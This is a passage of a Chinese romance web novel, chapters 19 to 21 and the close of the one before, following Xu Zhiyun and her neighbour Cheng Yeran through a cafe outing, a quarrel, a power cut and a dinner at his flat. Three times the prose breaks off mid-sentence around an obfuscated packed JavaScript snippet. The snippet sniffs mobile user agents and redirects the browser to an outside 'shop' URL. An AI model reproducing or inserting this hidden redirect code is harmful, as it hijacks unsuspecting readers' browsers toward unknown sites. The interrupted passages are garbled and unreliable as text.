昨晚,许知蕴质问可怜的小恐龙无果后,就打开手机开始看悬疑片。这部电影精挑细选,某瓣高分,但许知蕴看到一半就把它弃了,实在是逻辑太奇怪。 没有电视消遣,许知蕴只好继续打游戏。这次的任务莫名其妙很顺利,她打了一个小时,简直是超额完成任务。带着这样亢奋的心情,许知蕴从凌晨两点半睡到第二天一大早,就睁开了眼睛,从床上蹦了下来。 ……好饿。 熬夜果然大大地消耗人的精气。她洗漱完,走进厨房,一口气给自己煎了三个糖醋荷包蛋,顺带用面包机烤了个吐司。 真香。许知蕴感慨于自己厨艺的进步。 吃完早饭,她又开启了一天的工作。日历上的每一页都标注了今日要完成的小目标,只有每天晚上将那些目标通通打上勾,睡觉时才会安心。 忙了一上午,吃饭时许知蕴终于有空打开手机,发现微信上弹出好几个红点点。 发信人是周颂。 先前见面时,周颂得知她是程烨然的朋友,便和她加了微信,不过两人除了一开始打招呼外,根本没聊过天。 现在找她什么事? 许知蕴戳开绿泡泡。周颂给她发了两句话,第一句是:[今天咖啡馆搞活动,截止下午三点全部半价,还送甜点哦!] 这个活动还是很有必要参与的。作为薅羊毛忠实爱好者,许知蕴不会放弃任何一个打折的机会。 第二句则是:[哈罗,猜我看到什么?烨然被搭讪了,嘿嘿。] 后边还跟了个“苦笑”的小黄脸表情,透露着一丝贱兮兮。 许知蕴先是长按回复了搞活动的那条,随后给他丢了个无语熊猫头的表情包。 许知蕴:[程烨然被搭讪,关我什么事?] 喜欢当服务生的周颂看来在偷偷摸鱼玩手机,消息回得飞快:[你不是烨然的相亲对象嘛。] 许知蕴:[……相亲这事已经过去了,何况我们对彼此都没啥感觉,只当是朋友。] 周颂:[我是坚定的‘男女没有纯友谊’主义的拥护者。] 许知蕴反驳他:[那我就是坚定的‘男女有纯友谊’主义的信徒……对了,你那个咖啡馆活动,什么甜品都可以送吗?指定某种也可以?] 许知蕴眼馋他柜台上保鲜柜里各式各样的蛋糕很久了,只可惜这些蛋糕的定价实在是颇高,许知蕴自诩无福消受。 周颂发出一个“拿捏”表情:[你来看看不就知道了?下午三点就截止咯,很快的,再不来花儿都谢了。] 许知蕴立马收拾好自己,带了书,轻装下楼。 看来咖啡馆的宣传十分不错,原本就有固定的客源了,加上今天的活动,顾客简直是翻倍,都差点要把一楼和二楼坐满。 一进门,她就眼尖地看见周颂在朝她招手:“来来来,快点单,等你好久了。” 许知蕴看了一眼菜单,选择了最贵的手冲。 周颂问:“甜点呢?” 许知蕴也毫不犹豫地在想吃的提拉米苏中选择了最贵的那款。 既然送甜点,当然是选贵的最划算啦! 等待手冲咖啡的间隙,许知蕴没忍住自己的八卦天性,悄悄问周颂:“你刚说的,程烨然被搭讪……怎么回事?” 周颂得意道:“看,我说你还是在意的吧!” 许知蕴撇嘴:“我不是在意这个,我只是纯好奇。真的纯好奇。” 如果说程烨然从没相过亲这一点有些奇怪,那么,他被搭讪这件事情,一点也不奇怪。甚至许知蕴有时会想,以程烨然那个外形条件,不被搭讪才怪吧。 周颂慢悠悠地说:“我今早有点事,正好要到他们公司旁边的银行去办,所以搭他的车。下车后……” 其实事情非常简单。两人从车上下来,程烨然关上车门刚想走,就看见一个女人迎面朝他走来。 女人穿着杏色的法式长裙,身量窈窕,嘴角噙着笑,晃了晃手中的手机,问程烨然能不能给个联系方式。 程烨然当然是很礼貌地拒绝了,但那女人却面不改色,笑盈盈地说:“没关系,我们会再见面的。” 随后她踩着高跟鞋扬长而去,独留程烨然和周颂面面相觑。 “完了?” 这是许知蕴听完故事的第一感想,“这就完了?” 周颂摊手:“当然完了,你以为有多长?况且我要去银行,烨然要去上班,故事哪里还有什么发展?我估计就是她看中了烨然的姿色,想要有点什么露水情缘,可惜啊,终究是不能成……” 许知蕴犹豫了一会,问:“程烨然读书的时候应该也很受欢迎吧?” “怎么说呢?” 出乎意料的是,周颂并没有给她一个司空见惯的答案,“这家伙上高中时倒是蛮受欢迎的,也有人表过白,但大家毕竟心思都放在高考,倒也没有什么。大学的时候嘛……我和他没读一个大学,不知道,但其实——” 他给了许知蕴一个意味深长的眼神:“你别看他似乎待人接物挺随和,挺有礼貌,其实陌生人看他,就总觉得和他隔一层,不亲切。和一个不亲切的人有什么好讲的?八卦自然而然就没那么多了。” 说完,他又满怀八卦之心地问:“许小姐在学校里应该也挺受欢迎吧?有没有男孩给你举着花表白啊?” 许知蕴一愣,笑着,不知道是该摇头还是点头。“我读研时一门心思学习,没想过这方面。大学的时候……谈了场差劲的恋爱,分了。” 周颂点头:“差劲的恋爱就该分了。等着对方霍霍,那还得了?” 咖啡好喝,甜点也好吃。许知蕴一边看书,一边在心里给周颂的店打五星好评。 这本书已经看到了一半,她乐观地想,或许等到出版之后,真能大卖特卖也说不定。 傍晚七点的时候,咖啡馆的门被人推开。 许知蕴条件反射般地抬头,就看见程烨然逆着夕阳走进来。 只是他的表情似乎不太好看。 周颂本就闲得无聊,一见程烨然,就笑嘻嘻地凑上去,刚想说几句打趣的话,鼻子却灵敏地闻到了对方身上若有若无的某种味道。 周颂肯定道:“你身上有某种女士香水味。” 这味道似乎有点熟悉,他顿了几秒,突然诧异地看向程烨然:“是今天那个——她后面来找你了?” 这味道,和今天搭讪程烨然的女人身上的一模一样。 程烨然揉了揉自己的眉心,语气有着些许疲惫:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067595|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯。今天公司提前下班,我一出门,就在门口碰见她,她说自己无论如何都要请我吃一顿饭。” “原来她那句话是这个意思!”周颂差点要蹦起来,“你不会真和她吃饭了吧?” “怎么可能。”程烨然瞥了周颂一眼,“好说歹说了好几分钟,总算是拒掉了。” “人家可是大美女哎。”周颂说,“我是外貌协会,她要是找我要联系方式就好了,我准同意。” 程烨然摇头:“一个人又不会仅仅因为外貌而喜欢另一个人,况且……” 后半句话在唇齿间隐没。 周颂追问他,“况且”什么呀,程烨然却没搭理他,只是问他柜子里有没有多的速溶咖啡条。周颂说有啊,你等我去给你拿来,随后就溜达溜达进了仓库。 许知蕴就是在这个时候窜出来的。 她戳了戳程烨然:“周颂给我发过消息,说你被搭讪了。还有,刚刚的对话,我可都听到了。” 周颂就算已经压低了声音,但许知蕴就坐在他们不远处,加上早有准备竖起耳朵,因此听得清清楚楚。 程烨然咬牙切齿:“周颂这个家伙……” 许知蕴凑过去,似乎有些漫不经心地问他:“她应该很漂亮吧。” 她刚刚听见了周颂的那句“大美女”,也在先前听到了他对于女人外貌的描述。怎么想,应该都是个风情万种的美人。 程烨然应该不太想回答这个问题,只是低低地“嗯”了一声。 “虽然我知道,人不能仅凭外貌爱上一个人,”许知蕴说,“可有时候缘分就是这么来的?你如果答应了,或许就会惊喜地发现,对方身上的种种特质你都很喜欢呢?一般电视剧里都是这么演的。如果真的这么有缘,也不失为一件美事……” 程烨然面无表情,沉默了几秒,忽然淡淡地回问她:“你希望我答应么?” 他抬起头,目光带着些许捉摸不透的凉意,与许知蕴对视。 许知蕴愣了愣。 她心中不知为何,涌上一股说不清道不明的别扭脾气,让她浑身都如同长了刺一般不舒服。 她以同样的语气回敬道:“你答不答应,是你的事,和我又有什么干系?” 太不寻常了。许知蕴惊异于自己情绪上的失控。她承认自己这话说得有点刻薄,就像一个青春期里同人顶嘴,口不择言的小孩。 原本还算友好的气氛陡然降至冰点,整个空间里充斥着尴尬与无言。许知蕴看见程烨然的眉头皱得愈发深了,紧抿着唇,似乎有什么话在他的喉咙里,像含着一颗枣核,想要说却说不出来,只好默默地将其吞下去。 她张了张嘴,正打算说声“对不起”来挽救当前的局面,就听见周颂啪嗒啪嗒地走过来,手上还扛着个不大不小的盒子。 “烨然,你要的速溶!”他把盒子递过去,却发现横亘在两人之间的空气有些不对。 他小心翼翼地问:“你们这是……吵架了?” 面前如同雕塑般的两人几乎同时出声。 许知蕴:“——吵了。” 程烨然:“——没有。” “喔。” 听到这番截然不同的回答,周颂语气玩味,目光在两人的表情上跳来跳去,“看来是吵了。” “还吵得不轻。” 19. 第十九章 陈美芝约许知蕴出来逛街买衣服时,就看见自己的表妹一副蔫了吧唧的样子,就连挑衣服都有些魂不守舍了。 她索性不试衣服了,把许知蕴拉到一家奶茶店里,给她点了一杯果茶。 “小蕴。”陈美芝伸出手来,捏了捏她的脸颊,“怎么了,遇见什么烦心事了?” 许知蕴闷闷不乐的吸溜了一大口奶茶小料:“没什么,就是……人际交往上,出了点问题。” “和朋友吵架了?”陈美芝很敏锐。 许知蕴点点头,又摇摇头。她一时间心里有些乱,不知道该怎么回答。 见她不作声,陈美芝也不强求,“既然一下子不知道要怎么办,不如就先放一放吧。说不定过了一段时间,解决的方法就自动从大脑中跳出来呢?” …… 其实,在那一天的晚上,许知蕴就给程烨然发了道歉的消息。 [对不起,是我说话太呛了。] 手机上方显示“正在输入中”,过了几秒,程烨然的消息就传了过来。 [不好意思,是我的问题。] 双方都道歉了,那这个问题究竟解决了吗? 许知蕴觉得并没有解决。 …… 那天之后,每次在楼道里碰见程烨然,许知蕴都莫名心虚。尽管程烨然的表情再正常不过,也会同她挥手道早安或者晚安,但许知蕴就是感到不自在,仿佛同他隔了一层。 她不太敢直视对方,每次都草草打招呼后离开,甚至到了后来,再在不远处看见程烨然的身影时,她选择的是绕道走。 绕道走,就不会产生令人烦恼的交集了。 * 心情的郁结化为了挑衣服的动力。 她这趟来,主要是陪陈美芝买衣服的。夏天到了,正是买夏装的好时候。每进一个店,许知蕴就尽职尽责地开始挑选起来,一口气给陈美芝挑了□□套衣服,让她挨个试。 …… “这条亚麻裙怎么样?” “美式运动风呢?” “这条收腰的小黑裙,穿起来肯定很显身材……” …… 这家店不满意,就换下一家。将整条步行街都几乎逛了个遍,最终的结果就是,陈美芝和许知蕴两人,手上各提了五个大袋子。 在给陈美芝挑衣服的过程中,许知蕴其实也给自己买了两套。当付款成功,拿到心仪的东西时,许知蕴缓缓呼出一口气,感觉整个身心都愉悦了许多。 难道这就是购物的魔力? 买完衣服,她们去吃饭,挑选的是一家颇有情调的西餐厅。许知蕴注意到,陈美芝偶尔会在手机上敲敲打打,似乎是给人发消息,脸上的表情也很耐人寻味,像是害羞,又像是甜蜜。 她眼里露出了然的神情,坏笑着凑到表姐身边去。 “表姐呀。”她眨巴眨巴眼睛,“实话告诉我,你是不是——谈恋爱了?” 她故意把“谈恋爱”三个字拖得老长。 陈美芝收起手机,面上显露出些许赧然:“不是哦。准确来说,我这还处于暧昧阶段。至于能不能成……谁知道呢?” 许知蕴对于陈美芝的决定向来是赞成的,不过她依旧想要替陈美芝来把把关。都说当局者迷旁观者清,万一又出现个李文俊第二怎么办? 她板起脸,像查户口那样开始盘问:“他是什么人?你们怎么认识的?” 陈美芝失笑,同许知蕴讲起自己的这位暧昧对象来。工作稳定,比陈美芝大两岁,兴趣爱好是打网球,两人是在网球场里认识的,组队参加过好几场比赛,所以愈发熟稔……林林总总说了那么多,许知蕴总算放下了半颗心。听起来,这位暧昧对象似乎是个不错的人。 不过,仍然不能掉以轻心。 毕竟人的心是会变的。某个时候的爱,确实是真心的,可是过后呢? 看着许知蕴严肃的脸蛋和对她的劝告,陈美芝笑着给她拿过去一个蛋挞。“表姐是什么样的人,你还不清楚吗?我没那么容易陷进去。” “我呢,想要追求爱情,追求幸福,但是这些东西并不是我的最高追求。”陈美芝拍拍许知蕴的肩膀,示意她放心,“我不会重蹈覆辙的。” 但愿吧。许知蕴在心底轻声说。 * 许知蕴总算把那本书看完了。 她开始着手准备翻译工作,每天一睁眼,不是对着电脑,就是对着字典。其中一本字典跟着她有些年头了,身上全是岁月的痕迹。许知蕴很担心,会不会哪一天她一翻,这本字典就寿终正寝了。 还好,它很坚强,目前并没有退休的迹象。 许知蕴真正忙起来的时候,那叫一个昏天黑地。读研时,为了赶课题,她可以踩着图书馆开门的时间进去,中午和晚上饿了就点外卖,在馆外捧着碗速战速决,随后又匆匆忙忙进去,直到闭馆的音乐声响起,才慢悠悠地晃出来。有时候忙得连饭都忘记吃,许知蕴也浑不在意。既然忘记吃,那想必是不饿了。 她就这样从大早上一直坐到晚上,累了就起来走两步,省略了午睡时间,午饭也是在下午两点半吃的,将好不容易规律的胃部生物钟又打乱。 翻译的过程,于许知蕴而言,既是工作,也是爱好。既是痛苦,也是享受。 她比别人都更早的看到这本书真正的样子,身处其中,感受故事的脉搏,了解人物的喜怒哀乐……这对许知蕴而言,无疑是最棒的一件事。 期间吃饭时,许知蕴还抽空看了眼手机。微信里冒出几个红点,许知蕴伸手点开,还以为是周颂又给她发什么程烨然的相关消息。 但发信人是妈妈。 许知蕴把心中那点莫名其妙的期待抛掉,点开对话框。 她妈发了三个六十秒的语音,外加两张照片。许知蕴认认真真将语音听完,然后按捺不住心中的激动,连发了五个感叹号。 [你们六月份就要回来啦?哪个机场,我到时候去接你们!] 许妈妈回得很快:[城西国际机场,晚上八点半到。记得带老爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067596|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老妈去吃烧烤哟。] 许知蕴忍俊不禁:[你们在国外还没享受够美食呀?] [这怎么能一样?]许妈妈回复,[你也是留过学的人,外国的东西就算做法和我们再相似,吃起来的口感还是不同的。你老爸和我都要馋死烧烤了。] 许知蕴笑着应下来。两人闲扯了几句家常,许妈妈突然又绕了回来。 [你和那位程先生,进展如何啦?] 许知蕴无奈道:[妈,就是普通朋友,哪有什么进展不进展的。] [哎,那算了,我之前还以为你们对彼此有感觉呢。] 许妈妈感叹:[果然还是没有缘分啊。] 许知蕴心底下那份奇奇怪怪的别扭心情又涌上来了。 “没有缘分”,这是她在前几次相亲里必说的托词。 “对不起啊,我想我们没有缘分,祝您找到更好的人。”说完这句话后,她就可以潇洒离场。她从不在内心反驳自己,因为她确实觉得,自己的人生和他们的人生,注定只是仅有一个交点,随后又分开的直线。 可她和程烨然的交点仅仅只有一个吗? 许知蕴无法控制地回想着那些清爽的早晨,和拂过凉风的夜晚。酒吧里若有若无的香气、楼道中互相说着的“早上好”和“晚安”、一起吃完饭后去看到的深蓝色的海、在旅游的民宿碰见彼此,然后一起欢快地去钓鱼…… 明明有很多交点,不是么? 她一时心乱如麻,捧着手机,不知道要回复什么,只是闷闷地发了两个毫无意义的表情包过去。许妈妈似乎能从女儿发信息的间隔时间和内容中感受到,许知蕴现在似乎并不想过多地谈论这个话题。 [好啦,别想那么多。]许妈妈最后说,[好好工作吧,我不打扰你了。] 手机屏幕的亮光逐渐缓缓熄灭。 许知蕴叹了口气,将脑子里如同被猫弄乱的毛线团般的思绪扯出来,丢到粉碎机里销毁了个干净。 还是认真翻译吧。 由于午饭是在下午两点半吃的,现在她并不饿。何况先前聊天占据了原本规划的时间,许知蕴心一横,打算不吃晚饭了——如果饿了,再煮也不迟。 她继续忙碌起来,努力地把自己投入到一串串单词和长句之中。不知过了多久,此刻天色已经暗下来,她也完成了今日的目标计划,伸着懒腰,做了几个舒缓肩颈和手部的动作,便慢腾腾地到厨房,打开冰箱一顿翻找,想着今晚吃什么。 冷冻层还有一根排骨,是许知蕴前天晚上在超市里买的。晚上超市打折,什么东西都便宜,她毫不留情地往购物车里塞了好多日用品和生鲜,最后提着个印有超市LOGO的特大袋子,累死累活地扛回了家。 就做糖醋排骨好了。许知蕴喜欢一切糖醋口味的东西。 她正哼着歌,喜滋滋地在洗手台冲洗排骨上的血水,心中忽然就有些不祥的预感。 还没等她把排骨用面粉揉搓完,厨房和客厅的所有灯光,就“啪嚓”一下子全熄灭了。 20. 第二十章 ——停电了。 突如其来的黑暗令人猝不及防。 许知蕴将手里的排骨放回碗里,摸索着打开水龙头洗了手,又凭借着记忆在不远处的架子上找到了自己的手机。 她把手机的手电筒功能按开,随后来到黑漆漆的客厅,看了看窗外。 对面那栋楼的住户窗口依然是亮堂堂的。 她又打开门,看见走廊的灯是亮的,对门的邻居家里还传来炒菜声和说话声。 看来只是她家停电了。 许知蕴打了物业的电话,很快就有工作人员带着维修工上来。检查了一番,发现是进户线故障。 许知蕴问:“那请问什么时候能修好?” 检修的工人回答:“这个故障有点严重,可能需要两三个小时才行。” 天啊。许知蕴内心想,居然要两三个小时。 工人已经开始维修了,物业的工作人员站在一旁,对许知蕴说:“您别担心,今晚肯定能修好,到时候来电了,我再打电话通知您。” 许知蕴点点头:“麻烦你们了。” 晚饭还没吃,想吃的糖醋排骨也吃不成。许知蕴乘着电梯下楼,打算去楼下的小饭馆搓一顿,再不济,在便利店里买几个饭团,也算对付过去了。 她的思绪好一阵发散。 今晚不算太热,夜风舒缓。到了门口,她正准备抬腿跨上某团的共享单车,就听见不远处有一个声音再熟悉不过的人,喊着她的名字。 “……许知蕴?” 她惊异地偏过头,正对上男人漆黑的眼睛。 现在在她面前的,是很生活化的一个程烨然。穿着黑色T恤,手里拎着两个满满的白色塑料袋,上边的LOGO还分外眼熟,就是她常常在晚上选择光顾的那家。 这会碰见,只能打招呼了。 “哈罗。”她摆摆手,努力装作先前什么都没发生的样子,“下班去超市采买了?” “嗯。” 他的目光落在许知蕴扶着的共享单车上。“你要出去?” 许知蕴无奈地摊手:“家里停电了,说是进户线故障,维修也要等一段时间。我正准备去觅食呢。” 程烨然顿了几秒,随后晃了晃手里的袋子。 “要不去我家吃个饭?”他说,“今天打折,食材一不小心买多了。” 虽然有些不合时宜,但许知蕴看他的神色,就想起之前他们在民宿的厨房里,程烨然借口尝不出味道好不好吃,而让自己先夹点菜垫垫肚子的情形。 那时她看程烨然面不改色地撒谎,怪好玩的。 那句“可以把多余的放冰箱”的话在许知蕴的舌尖上打转,最终消弭于空气之中。 她把单车推回去,然后放下脚蹬,三步并作两步走到程烨然身边。 “好啊。”她笑着抬起头,“那我也来为消灭食材贡献一部分力量吧。” * 程烨然的家里很整洁。 整洁,并不意味着没有生活气息。许知蕴一进门,就看见客厅的茶几上随意地堆着两三本书,茶几下的饼干盒里放着诸如剪刀、胶布、便签纸等容易散乱的小物品。沙发是布艺的,和窗帘同一色系,透着温馨的情调。 程烨然放下手里的东西,给她找拖鞋。她踩着柔软的拖鞋,刚刚坐上沙发,一杯水就这样递了过来。 “先喝点。”程烨然温声道,“我马上就去做饭。” 许知蕴接过水,很豪气地一口喝干了。 “谢谢啊。”她有些不好意思,“我在这蹭吃蹭喝的,麻烦你了。” 程烨然看了她半晌,问她:“你不是来为消灭食材贡献力量的么?” “……对啊。” “那就不是麻烦。你可是在帮我呢。” 程烨然挑眉,撂下这么一句话,随后就转过身,进了厨房。 迟钝了两秒后,许知蕴如梦初醒,从沙发上蹦了起来,跟在程烨然身后也窜进了厨房。 她诚恳道:“我来为你打下手吧!” 无论是停电还是程烨然一时兴起请她来家里吃饭,都是意外事件。许知蕴从小受到的教育是做饭的人不洗碗,既然别人做了一项,那自己就得自觉地完成另一项。 程烨然此刻已经把围裙围上了,闻言,揽过她的肩膀,将她轻轻推出了门外。 “给我一个招待你的机会,怎么样?有什么想吃的吗?” 许知蕴发现,自己很喜欢程烨然说话时的这种调调。尾音上扬,仿佛是一片羽毛,让人的心尖有一瞬的酥痒。 “好、好的……”她说完,条件反射又要道谢,被程烨然拦住了。 仿佛有读心术一般,知道她下一秒要想什么。 程烨然又问了她一遍。“想吃什么?” 许知蕴本想说“什么都行”,但又觉得自己这样说会不会太随便。她自己对于“随便”这个词可谓深恶痛绝,出门吃饭时,最招架不住的就是同行人说“随便”,这对一个有选择困难症的人来说,无异于是一场艰难的抉择。 还是看看现有的东西再想菜式吧。 许知蕴的眼神瞟过程烨然先前提回来的塑料袋。袋子恰到好处地露出了一角,让许知蕴得以看见,在丝瓜的旁边,有一份肥瘦均匀,品相堪称完美的排骨。 于是她十分期待地问程烨然:“我想吃糖醋排骨,可以吗?” …… 糖醋排骨,当然可以了。不是什么高难度的菜,原材料也有,对程烨然来说,简直是小菜一碟。 许知蕴被他推出厨房后,在门口徘徊了许久,看程烨然行云流水,赏心悦目的动作。后来她站得脚困,就回到了客厅。 客厅的左边,有一面墙的玻璃橱柜。这些橱柜里摆放的不是奖杯,不是奖状,也不是书,而是一个个大小和种类各异的小玩具们。有古灵精怪的握力球、解压魔方,也有各种职业的小车与建筑模型,还有看起来就手感绝佳的毛绒小动物…… 绿色的豆豆眼恐龙占据了橱柜的C位,像个骄傲的小国王。 小恐龙旁边的格子里,还依次排排坐着噘嘴小鸡、围巾小狗、喝水大象等小毛绒们。它们姿势不同,颜色不同,却都有一双如出一辙的呆萌豆豆眼。 许知蕴感觉自己的心要被融化了。 太可爱了吧! 这些难道都是程烨然操刀设计的作品? …… 很快,吃饭的时候,她内心的问题就得到了解答。 饭菜很快被端上来。今晚是风味茄子、清炒丝瓜和糖醋排骨。许知蕴的眼神不受控制地看向她心心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067597|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念念的排骨:色泽金黄红亮,撒了一层白芝麻,光看排骨上边挂着的糖色,就知道做饭的人一定是个中老手。 程烨然把身上的围裙脱下来时,许知蕴这才发现上边的图案是小黄鸭。 “好可爱啊。”她指了指那只正在玩水枪的小鸭子。 程烨然一愣,旋即反应过来她说的是什么。“这个啊。”他把围裙叠好,“之前大促销买的,买一送一。上一条围裙还是兔子来着。” 收拾好东西,就正式开饭。许知蕴咬了一口排骨,只觉得无论是内心还是味蕾都得到了极大的满足:糖醋的酸甜口中和得刚刚好,既不会太甜,也不过太酸。表层的肉质由于煸炒过变得酥脆,但内里又十分鲜嫩多汁。一整块排骨下肚,只觉得回味无穷。 米饭也煮得恰到火候,是那种粒粒分明,充满米香的干爽。 许知蕴开始对程烨然展开了情真意切的彩虹屁攻势。 “太香了吧!”许知蕴道,“如果你不当设计师,真的可以考虑入职饭店的。感觉你的手艺掌勺完全没问题了。” 程烨然笑着摇了摇头:“我这基本功和真正的师傅比起来,简直就是小巫见大巫。想掌勺的话,还差得远呢。” 聊着聊着,许知蕴就问起客厅橱柜里的东西来。 “里边的小玩具们都是你设计的吗?” 答案在意料之中:“是的。” “我仔细看了,每一个都很棒。”许知蕴对他竖起大拇指,“你最近还会出新的设计作品么?” 如果程烨然出了新作品,那她一定来贡献贡献销量。 “最近确实有在计划这个。”程烨然说,“最近毛绒玩偶的销量持续走高,公司开会说要再推出几款新品,任务落到了我和其他几位同事身上。但我还想设计一些适合ADHD儿童患者解压和辅助治疗的玩具,提交的申请还在审议中,希望能够尽快出结果。” “你的申请一定会通过的。”许知蕴很乐观,“或许利润额不高,但这些东西真的很有用。” 程烨然给她夹了一块排骨,眉眼弯弯,“那就借你吉言好了。” 许知蕴又问他,毛绒玩偶的话,打算设计成什么样的?程烨然却卖了个关子,不告诉她了。 他挑了挑眉:“别着急,等上市的时候你就知道了。” 许知蕴撇了撇嘴。 吃完饭,许知蕴秉持着“做饭的人不洗碗”这一绝对法则,说什么都要冲进厨房把碗洗了。程烨然又是温柔而不失强势地,再次把她推了出去。 许知蕴内心十分过意不去,只好说:“下次你来我家吃饭吧。我也来招待你。” 她可是十分真诚地发出邀请的。不只是为了还这一个人情,还为了一些心底隐秘的小小欲望。 程烨然听了她的话,偏过头来,眼里含笑:“好啊。小许同志要怎么招待我呢?” 又是那样的语调。有些轻飘飘,又带着些不易被察觉的蛊惑。 但没办法,许知蕴就是很喜欢听。 她在内心把那些社交网站上的做饭博主全过了一遍,打算这几天的电子榨菜就是看看他们怎么做饭,以此扩大自己拿手菜的范围。 “我会用我最好的厨艺招待你的,程烨然同志。” 许知蕴非常郑重地许下了承诺。 21. 第二十一章 距离停电过去了两个小时四十分钟后,物业终于打来了电话。 彼时,许知蕴正在手机上做游戏任务,一接听,就听见了个令人惊喜的消息:“修好啦?太谢谢你们了,大晚上的辛苦了!” “不辛苦,您来看看吧,如果有什么别的问题,再同我们联系。” 她连连道谢,随后挂了电话。程烨然在书房里忙工作,许知蕴轻手轻脚地走过去,敲了敲他的房间门——其实房门并没有掩,而是大大咧咧地敞开着,内部景色一览无余。 他书房里倒是真的有满柜子的书。 书脊上留存了许多痕迹,看起来他们的主人常常翻阅。 许知蕴见过很多人的书房,里边大多也放满了书,但那些书都是摆设,甚至只是好看的硬壳子,来凸显主人的博学多才。 “程烨然,”她轻声说,“我家的电修好了,我要回去了。” 程烨然闻言,站起身来:“我送你吧。” 两人吃饭的时候倒是聊得很痛快,可现在,许知蕴换下拖鞋,穿上自己的鞋子同程烨然出门,却不知道该说什么好。 他们的家就只隔了一层楼,电梯运行得很快,转眼间,她就来到了自家的门口。 她开了门走进去,按亮了客厅里的灯,确认供电没问题后,又走了出来。 程烨然就站在门外,静静地看着她。 …… 又是这样凝滞的氛围。许知蕴深吸一口气,最终还是将心里潜藏的那句“对不起”说了出来。 “我想了很久,之前的那句话确实是我不对。实在对不起。” 她是个勇于承认错误的人。道歉的话,还是当面进行比较好。 何况,那件不大不小的事,已经成为了她的一个心结。如果要解开它,当然是向对方说清楚,才能令人安心。 许知蕴微微低着头,不太敢去看程烨然的表情。 她的话音刚落,随之而来的,是头顶上的一抹温热。 如同先前那样,一触即离,仿佛刚才那份温柔的触碰只是错觉。 “别这样。”程烨然的话语间似乎带了点恳求,“不是你的问题。如果硬要说的话,那也是我的错。毕竟发问的人是我,不是吗?” 许知蕴沉默着,忽然把头抬起来。“那你是原谅我了?” 由于抬起了头,她能够看见男人的神情。 没有生气,没有无奈,也没有不耐烦。对方精致带些锋锐的眉眼,在此刻却变得分外柔和。 这人轻轻地笑了一声:“我可没原谅你。” 正当许知蕴着急忙慌想要说些什么来弥补时,程烨然的声音又传了过来: “——我们没吵架,没闹矛盾,你也没做错。我为什么要原谅你?” 许知蕴愣了几秒,随后也笑起来。 “我还担心了很久……”解决了前些天一直困扰的问题,她的语气重新变得松快许多,“之前在楼下碰见你,我都不太敢和你打招呼。” 程烨然斜倪她一眼:“我说最近怎么没见你人,敢情在躲我呢。” 许知蕴举起双手,比出投降的手势,顺带做了个鬼脸,“下次不会啦。有空的话记得来我家吃饭哈!” * 他们的生活又步入正常的轨道之中。 许知蕴看着钱包和体重秤,痛定思痛,决定减少点夜宵的频率。 ……今晚一定是我这两个月以来的最后一顿夜宵。许知蕴沉痛地想,随即飞快地按下了“立即支付”。 外卖员尽职尽责,比预定时间早到了十五分钟。许知蕴随便穿了双凉鞋就奔出门,迫不及待地从外卖柜里提溜出喷香的烧烤。 香辣味一阵阵从袋子的缝隙中传出来,许知蕴很满意,因为这意味着店家认真看了备注,给她十分豪放地撒了两倍的孜然辣椒粉。 她正准备转头,身旁忽然俯下一片阴影。 带着清淡好闻的气息。 ——透过影子她都能认出是谁。 “晚上好!”她双指并拢,在额间虚虚一晃,“你也点了夜宵?” “这倒没有。”程烨然将柜子里的东西取出来给她看,“我买了点药。” 听到“药”这个字,许知蕴浑身一激灵,皱起眉头,条件反射般地将程烨然的浑身都打量了个遍。“你生病了?磕着碰着了?没看出伤到哪了啊……” 程烨然听她絮絮叨叨,不禁失笑。“小许同志放心,没生病。” 他用手指轻轻拂开许知蕴因夜风而被吹到脸颊上的发丝,“只是家里的药过期了,买点来预备着。” 头发被轻巧地别回了耳后,在脸上留下细细密密的触感。 他们的距离靠得很近,许知蕴仿佛能听见他胸膛中有力的心跳声。 她眨了眨眼。这个角度,在不知情的人眼中,就像是一对热恋中的男女在接吻。 她明白,这样的情景,在小说里有一个缱绻的词,叫“暧昧”。 许知蕴的大脑飞速运转,还没来得及做出反应,面前的男人就直起身来、笼罩在她面前的阴影消失了,连带着他身上的那抹清浅的气息。许知蕴有片刻失神。 她想说谢谢,可嘴里蹦出来的却是: “——原来你也会犯把药囤过期的错误?” 许知蕴经常犯这样的错误。生病时,翻箱倒柜找出一盒退烧药,稀里糊涂地吃了,过了几个小时没发现好转,疑心自己烧傻了吃错药,拿过药盒一番研究,才发现退烧药已经过期两年之久。吓得她赶紧上网问在线医生,吃了过期的退烧药会不会有害? 最终很幸运,身体并没有发生什么大事儿。 程烨然将注意力放到了其中某个字上。 “也?”他反问。 许知蕴只好将自己惨痛的过往经历讲了一遍。听她说完,程烨然的神情顿时由“看戏”变成了微妙的同病相怜之情。 